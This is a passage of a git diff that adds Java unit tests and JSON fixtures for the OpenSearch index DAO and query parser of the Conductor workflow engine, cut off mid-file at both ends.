taskSummary.getTaskId()); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertTrue("Task was not removed.", tasks.isEmpty()); + } + + @Test + public void shouldAsyncRemoveTask() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + + TaskSummary taskSummary = + TestUtils.loadTaskSnapshot( + objectMapper, "task_summary", workflowSummary.getWorkflowId()); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.asyncRemoveTask(workflowSummary.getWorkflowId(), taskSummary.getTaskId()).get(); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertTrue("Task was not removed.", tasks.isEmpty()); + } + + @Test + public void shouldNotRemoveTaskWhenNotAssociatedWithWorkflow() { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.removeTask("InvalidWorkflow", taskSummary.getTaskId()); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertFalse("Task was removed.", tasks.isEmpty()); + } + + @Test + public void shouldNotAsyncRemoveTaskWhenNotAssociatedWithWorkflow() throws Exception { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.asyncRemoveTask("InvalidWorkflow", taskSummary.getTaskId()).get(); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertFalse("Task was removed.", tasks.isEmpty()); + } + + @Test + public void shouldAddTaskExecutionLogs() { + List logs = new ArrayList<>(); + String taskId = uuid(); + logs.add(createLog(taskId, "log1")); + logs.add(createLog(taskId, "log2")); + logs.add(createLog(taskId, "log3")); + + indexDAO.addTaskExecutionLogs(logs); + + List indexedLogs = + tryFindResults(() -> indexDAO.getTaskExecutionLogs(taskId), 3); + + assertEquals(3, indexedLogs.size()); + + assertTrue("Not all logs was indexed", indexedLogs.containsAll(logs)); + } + + @Test + public void shouldAddTaskExecutionLogsAsync() throws Exception { + List logs = new ArrayList<>(); + String taskId = uuid(); + logs.add(createLog(taskId, "log1")); + logs.add(createLog(taskId, "log2")); + logs.add(createLog(taskId, "log3")); + + indexDAO.asyncAddTaskExecutionLogs(logs).get(); + + List indexedLogs = + tryFindResults(() -> indexDAO.getTaskExecutionLogs(taskId), 3); + + assertEquals(3, indexedLogs.size()); + + assertTrue("Not all logs was indexed", indexedLogs.containsAll(logs)); + } + + @Test + public void shouldAddMessage() { + String queue = "queue"; + Message message1 = new Message(uuid(), "payload1", null); + Message message2 = new Message(uuid(), "payload2", null); + + indexDAO.addMessage(queue, message1); + indexDAO.addMessage(queue, message2); + + List indexedMessages = tryFindResults(() -> indexDAO.getMessages(queue), 2); + + assertEquals(2, indexedMessages.size()); + + assertTrue( + "Not all messages was indexed", + indexedMessages.containsAll(Arrays.asList(message1, message2))); + } + + @Test + public void shouldAddEventExecution() { + String event = "event"; + EventExecution execution1 = createEventExecution(event); + EventExecution execution2 = createEventExecution(event); + + indexDAO.addEventExecution(execution1); + indexDAO.addEventExecution(execution2); + + List indexedExecutions = + tryFindResults(() -> indexDAO.getEventExecutions(event), 2); + + assertEquals(2, indexedExecutions.size()); + + assertTrue( + "Not all event executions was indexed", + indexedExecutions.containsAll(Arrays.asList(execution1, execution2))); + } + + @Test + public void shouldAsyncAddEventExecution() throws Exception { + String event = "event2"; + EventExecution execution1 = createEventExecution(event); + EventExecution execution2 = createEventExecution(event); + + indexDAO.asyncAddEventExecution(execution1).get(); + indexDAO.asyncAddEventExecution(execution2).get(); + + List indexedExecutions = + tryFindResults(() -> indexDAO.getEventExecutions(event), 2); + + assertEquals(2, indexedExecutions.size()); + + assertTrue( + "Not all event executions was indexed", + indexedExecutions.containsAll(Arrays.asList(execution1, execution2))); + } + + @Test + public void shouldAddIndexPrefixToIndexTemplate() throws Exception { + String json = TestUtils.loadJsonResource("expected_template_task_log"); + String content = indexDAO.loadTypeMappingSource("/template_task_log.json"); + + assertEquals(json, content); + } + + @Test + public void shouldSearchRecentRunningWorkflows() throws Exception { + WorkflowSummary oldWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + oldWorkflow.setStatus(WorkflowStatus.RUNNING); + oldWorkflow.setUpdateTime(getFormattedTime(new DateTime().minusHours(2).toDate())); + + WorkflowSummary recentWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + recentWorkflow.setStatus(WorkflowStatus.RUNNING); + recentWorkflow.setUpdateTime(getFormattedTime(new DateTime().minusHours(1).toDate())); + + WorkflowSummary tooRecentWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + tooRecentWorkflow.setStatus(WorkflowStatus.RUNNING); + tooRecentWorkflow.setUpdateTime(getFormattedTime(new DateTime().toDate())); + + indexDAO.indexWorkflow(oldWorkflow); + indexDAO.indexWorkflow(recentWorkflow); + indexDAO.indexWorkflow(tooRecentWorkflow); + + Thread.sleep(1000); + + List ids = indexDAO.searchRecentRunningWorkflows(2, 1); + + assertEquals(1, ids.size()); + assertEquals(recentWorkflow.getWorkflowId(), ids.get(0)); + } + + @Test + public void shouldCountWorkflows() { + int counts = 1100; + for (int i = 0; i < counts; i++) { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + } + + // wait for workflow to be indexed + long result = tryGetCount(() -> getWorkflowCount("template_workflow", "RUNNING"), counts); + assertEquals(counts, result); + } + + private long tryGetCount(Supplier countFunction, int resultsCount) { + long result = 0; + for (int i = 0; i < 20; i++) { + result = countFunction.get(); + if (result == resultsCount) { + return result; + } + try { + Thread.sleep(100); + } catch (InterruptedException e) { + throw new RuntimeException(e.getMessage(), e); + } + } + return result; + } + + // Get total workflow counts given the name and status + private long getWorkflowCount(String workflowName, String status) { + return indexDAO.getWorkflowCount( + "status=\"" + status + "\" AND workflowType=\"" + workflowName + "\"", "*"); + } + + private void assertWorkflowSummary(String workflowId, WorkflowSummary summary) { + assertEquals(summary.getWorkflowType(), indexDAO.get(workflowId, "workflowType")); + assertEquals(String.valueOf(summary.getVersion()), indexDAO.get(workflowId, "version")); + assertEquals(summary.getWorkflowId(), indexDAO.get(workflowId, "workflowId")); + assertEquals(summary.getCorrelationId(), indexDAO.get(workflowId, "correlationId")); + assertEquals(summary.getStartTime(), indexDAO.get(workflowId, "startTime")); + assertEquals(summary.getUpdateTime(), indexDAO.get(workflowId, "updateTime")); + assertEquals(summary.getEndTime(), indexDAO.get(workflowId, "endTime")); + assertEquals(summary.getStatus().name(), indexDAO.get(workflowId, "status")); + assertEquals(summary.getInput(), indexDAO.get(workflowId, "input")); + assertEquals(summary.getOutput(), indexDAO.get(workflowId, "output")); + assertEquals( + summary.getReasonForIncompletion(), + indexDAO.get(workflowId, "reasonForIncompletion")); + assertEquals( + String.valueOf(summary.getExecutionTime()), + indexDAO.get(workflowId, "executionTime")); + assertEquals(summary.getEvent(), indexDAO.get(workflowId, "event")); + assertEquals( + summary.getFailedReferenceTaskNames(), + indexDAO.get(workflowId, "failedReferenceTaskNames")); + } + + private String getFormattedTime(Date time) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(TimeZone.getTimeZone("GMT")); + return sdf.format(time); + } + + private List tryFindResults(Supplier> searchFunction) { + return tryFindResults(searchFunction, 1); + } + + private List tryFindResults(Supplier> searchFunction, int resultsCount) { + List result = Collections.emptyList(); + for (int i = 0; i < 20; i++) { + result = searchFunction.get(); + if (result.size() == resultsCount) { + return result; + } + try { + Thread.sleep(100); + } catch (InterruptedException e) { + throw new RuntimeException(e.getMessage(), e); + } + } + return result; + } + + private List searchWorkflows(String workflowId) { + return indexDAO.searchWorkflows( + "", "workflowId:\"" + workflowId + "\"", 0, 100, Collections.emptyList()) + .getResults(); + } + + private List searchTasks(TaskSummary taskSummary) { + return indexDAO.searchTasks( + "", + "workflowId:\"" + taskSummary.getWorkflowId() + "\"", + 0, + 100, + Collections.emptyList()) + .getResults(); + } + + private TaskExecLog createLog(String taskId, String log) { + TaskExecLog taskExecLog = new TaskExecLog(log); + taskExecLog.setTaskId(taskId); + return taskExecLog; + } + + private EventExecution createEventExecution(String event) { + EventExecution execution = new EventExecution(uuid(), uuid()); + execution.setName("name"); + execution.setEvent(event); + execution.setCreated(System.currentTimeMillis()); + execution.setStatus(EventExecution.Status.COMPLETED); + execution.setAction(EventHandler.Action.Type.start_workflow); + execution.setOutput(ImmutableMap.of("a", 1, "b", 2, "c", 3)); + return execution; + } + + private String uuid() { + return UUID.randomUUID().toString(); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/TestOpenSearchRestDAOBatch.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/TestOpenSearchRestDAOBatch.java new file mode 100644 index 0000000..97221cf --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/TestOpenSearchRestDAOBatch.java @@ -0,0 +1,81 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.index; + +import java.util.HashMap; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.springframework.test.context.TestPropertySource; + +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; + +import com.fasterxml.jackson.core.JsonProcessingException; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +@TestPropertySource(properties = "conductor.elasticsearch.indexBatchSize=2") +public class TestOpenSearchRestDAOBatch extends OpenSearchRestDaoBaseTest { + + @Test + public void indexTaskWithBatchSizeTwo() { + String correlationId = "some-correlation-id"; + + TaskSummary taskSummary = new TaskSummary(); + taskSummary.setTaskId("some-task-id"); + taskSummary.setWorkflowId("some-workflow-instance-id"); + taskSummary.setTaskType("some-task-type"); + taskSummary.setStatus(Status.FAILED); + try { + taskSummary.setInput( + objectMapper.writeValueAsString( + new HashMap() { + { + put("input_key", "input_value"); + } + })); + } catch (JsonProcessingException e) { + throw new RuntimeException(e); + } + taskSummary.setCorrelationId(correlationId); + taskSummary.setTaskDefName("some-task-def-name"); + taskSummary.setReasonForIncompletion("some-failure-reason"); + + indexDAO.indexTask(taskSummary); + indexDAO.indexTask(taskSummary); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult result = + indexDAO.searchTasks( + "correlationId='" + correlationId + "'", + "*", + 0, + 10000, + null); + + assertTrue( + "should return 1 or more search results", + result.getResults().size() > 0); + assertEquals( + "taskId should match the indexed task", + "some-task-id", + result.getResults().get(0)); + }); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/TestExpression.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/TestExpression.java new file mode 100644 index 0000000..f16a332 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/TestExpression.java @@ -0,0 +1,148 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +import org.conductoross.conductor.os3.dao.query.parser.internal.AbstractParserTest; +import org.conductoross.conductor.os3.dao.query.parser.internal.ConstValue; +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +/** + * @author Viren + */ +public class TestExpression extends AbstractParserTest { + + @Test + public void test() throws Exception { + String test = + "type='IMAGE' AND subType ='sdp' AND (metadata.width > 50 OR metadata.height > 50)"; + // test = "type='IMAGE' AND subType ='sdp'"; + // test = "(metadata.type = 'IMAGE')"; + InputStream is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + Expression expr = new Expression(is); + + System.out.println(expr); + + assertTrue(expr.isBinaryExpr()); + assertNull(expr.getGroupedExpression()); + assertNotNull(expr.getNameValue()); + + NameValue nv = expr.getNameValue(); + assertEquals("type", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"IMAGE\"", nv.getValue().getValue()); + + Expression rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertTrue(rhs.isBinaryExpr()); + + nv = rhs.getNameValue(); + assertNotNull(nv); // subType = sdp + assertNull(rhs.getGroupedExpression()); + assertEquals("subType", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"sdp\"", nv.getValue().getValue()); + + assertEquals("AND", rhs.getOperator().getOperator()); + rhs = rhs.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + GroupedExpression ge = rhs.getGroupedExpression(); + assertNotNull(ge); + expr = ge.getExpression(); + assertNotNull(expr); + + assertTrue(expr.isBinaryExpr()); + nv = expr.getNameValue(); + assertNotNull(nv); + assertEquals("metadata.width", nv.getName().getName()); + assertEquals(">", nv.getOp().getOperator()); + assertEquals("50", nv.getValue().getValue()); + + assertEquals("OR", expr.getOperator().getOperator()); + rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + nv = rhs.getNameValue(); + assertNotNull(nv); + + assertEquals("metadata.height", nv.getName().getName()); + assertEquals(">", nv.getOp().getOperator()); + assertEquals("50", nv.getValue().getValue()); + } + + @Test + public void testWithSysConstants() throws Exception { + String test = "type='IMAGE' AND subType ='sdp' AND description IS null"; + InputStream is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + Expression expr = new Expression(is); + + System.out.println(expr); + + assertTrue(expr.isBinaryExpr()); + assertNull(expr.getGroupedExpression()); + assertNotNull(expr.getNameValue()); + + NameValue nv = expr.getNameValue(); + assertEquals("type", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"IMAGE\"", nv.getValue().getValue()); + + Expression rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertTrue(rhs.isBinaryExpr()); + + nv = rhs.getNameValue(); + assertNotNull(nv); // subType = sdp + assertNull(rhs.getGroupedExpression()); + assertEquals("subType", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"sdp\"", nv.getValue().getValue()); + + assertEquals("AND", rhs.getOperator().getOperator()); + rhs = rhs.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + GroupedExpression ge = rhs.getGroupedExpression(); + assertNull(ge); + nv = rhs.getNameValue(); + assertNotNull(nv); + assertEquals("description", nv.getName().getName()); + assertEquals("IS", nv.getOp().getOperator()); + ConstValue cv = nv.getValue(); + assertNotNull(cv); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NULL); + + test = "description IS not null"; + is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + expr = new Expression(is); + + System.out.println(expr); + nv = expr.getNameValue(); + assertNotNull(nv); + assertEquals("description", nv.getName().getName()); + assertEquals("IS", nv.getOp().getOperator()); + cv = nv.getValue(); + assertNotNull(cv); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NOT_NULL); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/TestGroupedExpression.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/TestGroupedExpression.java new file mode 100644 index 0000000..d359843 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/TestGroupedExpression.java @@ -0,0 +1,24 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser; + +import org.junit.Test; + +/** + * @author Viren + */ +public class TestGroupedExpression { + + @Test + public void test() {} +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/AbstractParserTest.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/AbstractParserTest.java new file mode 100644 index 0000000..50c265c --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/AbstractParserTest.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +/** + * @author Viren + */ +public abstract class AbstractParserTest { + + protected InputStream getInputStream(String expression) { + return new BufferedInputStream(new ByteArrayInputStream(expression.getBytes())); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestBooleanOp.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestBooleanOp.java new file mode 100644 index 0000000..ca41479 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestBooleanOp.java @@ -0,0 +1,44 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestBooleanOp extends AbstractParserTest { + + @Test + public void test() throws Exception { + String[] tests = new String[] {"AND", "OR"}; + for (String test : tests) { + BooleanOp name = new BooleanOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } + } + + @Test(expected = ParserException.class) + public void testInvalid() throws Exception { + String test = "<"; + BooleanOp name = new BooleanOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestComparisonOp.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestComparisonOp.java new file mode 100644 index 0000000..ea7d6ab --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestComparisonOp.java @@ -0,0 +1,44 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestComparisonOp extends AbstractParserTest { + + @Test + public void test() throws Exception { + String[] tests = new String[] {"<", ">", "=", "!=", "IN", "BETWEEN", "STARTS_WITH"}; + for (String test : tests) { + ComparisonOp name = new ComparisonOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } + } + + @Test(expected = ParserException.class) + public void testInvalidOp() throws Exception { + String test = "AND"; + ComparisonOp name = new ComparisonOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestConstValue.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestConstValue.java new file mode 100644 index 0000000..8c33845 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestConstValue.java @@ -0,0 +1,101 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.util.List; + +import org.junit.Test; + +import static org.junit.Assert.*; + +/** + * @author Viren + */ +public class TestConstValue extends AbstractParserTest { + + @Test + public void testStringConst() throws Exception { + String test = "'string value'"; + String expected = + test.replaceAll( + "'", "\""); // Quotes are removed but then the result is double quoted. + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(expected, cv.getValue()); + assertTrue(cv.getValue() instanceof String); + + test = "\"string value\""; + cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(expected, cv.getValue()); + assertTrue(cv.getValue() instanceof String); + } + + @Test + public void testSystemConst() throws Exception { + String test = "null"; + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertTrue(cv.getValue() instanceof String); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NULL); + test = "null"; + + test = "not null"; + cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NOT_NULL); + } + + @Test(expected = ParserException.class) + public void testInvalid() throws Exception { + String test = "'string value"; + new ConstValue(getInputStream(test)); + } + + @Test + public void testNumConst() throws Exception { + String test = "12345.89"; + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertTrue( + cv.getValue() + instanceof + String); // Numeric values are stored as string as we are just passing thru + // them to ES + assertEquals(test, cv.getValue()); + } + + @Test + public void testRange() throws Exception { + String test = "50 AND 100"; + Range range = new Range(getInputStream(test)); + assertEquals("50", range.getLow()); + assertEquals("100", range.getHigh()); + } + + @Test(expected = ParserException.class) + public void testBadRange() throws Exception { + String test = "50 AND"; + new Range(getInputStream(test)); + } + + @Test + public void testArray() throws Exception { + String test = "(1, 3, 'name', 'value2')"; + ListConst lc = new ListConst(getInputStream(test)); + List list = lc.getList(); + assertEquals(4, list.size()); + assertTrue(list.contains("1")); + assertEquals("'value2'", list.get(3)); // Values are preserved as it is... + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestName.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestName.java new file mode 100644 index 0000000..7475c3f --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestName.java @@ -0,0 +1,33 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestName extends AbstractParserTest { + + @Test + public void test() throws Exception { + String test = "metadata.en_US.lang "; + Name name = new Name(getInputStream(test)); + String nameVal = name.getName(); + assertNotNull(nameVal); + assertEquals(test.trim(), nameVal); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/utils/TestUtils.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/utils/TestUtils.java new file mode 100644 index 0000000..7e6e7c3 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/utils/TestUtils.java @@ -0,0 +1,76 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.utils; + +import org.apache.commons.io.Charsets; + +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.utils.IDGenerator; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.io.Resources; + +public class TestUtils { + + private static final String WORKFLOW_SCENARIO_EXTENSION = ".json"; + private static final String WORKFLOW_INSTANCE_ID_PLACEHOLDER = "WORKFLOW_INSTANCE_ID"; + + public static WorkflowSummary loadWorkflowSnapshot( + ObjectMapper objectMapper, String resourceFileName) { + try { + String content = loadJsonResource(resourceFileName); + String workflowId = new IDGenerator().generate(); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, WorkflowSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static TaskSummary loadTaskSnapshot(ObjectMapper objectMapper, String resourceFileName) { + try { + String content = loadJsonResource(resourceFileName); + String workflowId = new IDGenerator().generate(); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, TaskSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static TaskSummary loadTaskSnapshot( + ObjectMapper objectMapper, String resourceFileName, String workflowId) { + try { + String content = loadJsonResource(resourceFileName); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, TaskSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static String loadJsonResource(String resourceFileName) { + try { + return Resources.toString( + TestUtils.class.getResource( + "/" + resourceFileName + WORKFLOW_SCENARIO_EXTENSION), + Charsets.UTF_8); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } +} diff --git a/os-persistence-v3/src/test/resources/expected_template_task_log.json b/os-persistence-v3/src/test/resources/expected_template_task_log.json new file mode 100644 index 0000000..1b77d28 --- /dev/null +++ b/os-persistence-v3/src/test/resources/expected_template_task_log.json @@ -0,0 +1,24 @@ +{ + "index_patterns" : [ "*conductor_task*log*" ], + "priority" : 1, + "template" : { + "settings" : { + "refresh_interval" : "1s" + }, + "mappings" : { + "properties" : { + "createdTime" : { + "type" : "long" + }, + "log" : { + "type" : "text" + }, + "taskId" : { + "type" : "keyword", + "index" : true + } + } + }, + "aliases" : { } + } +} \ No newline at end of file diff --git a/os-persistence-v3/src/test/resources/task_summary.json b/os-persistence-v3/src/test/resources/task_summary.json new file mode 100644 index 0000000..a409a22 --- /dev/null +++ b/os-persistence-v3/src/test/resources/task_summary.json @@ -0,0 +1,17 @@ +{ + "taskId": "9dea4567-0240-4eab-bde8-99f4535ea3fc", + "taskDefName": "templated_task", + "taskType": "templated_task", + "workflowId": "WORKFLOW_INSTANCE_ID", + "workflowType": "template_workflow", + "correlationId": "testTaskDefTemplate", + "scheduledTime": "2021-08-22T05:18:25.121Z", + "startTime": "0", + "endTime": "0", + "updateTime": 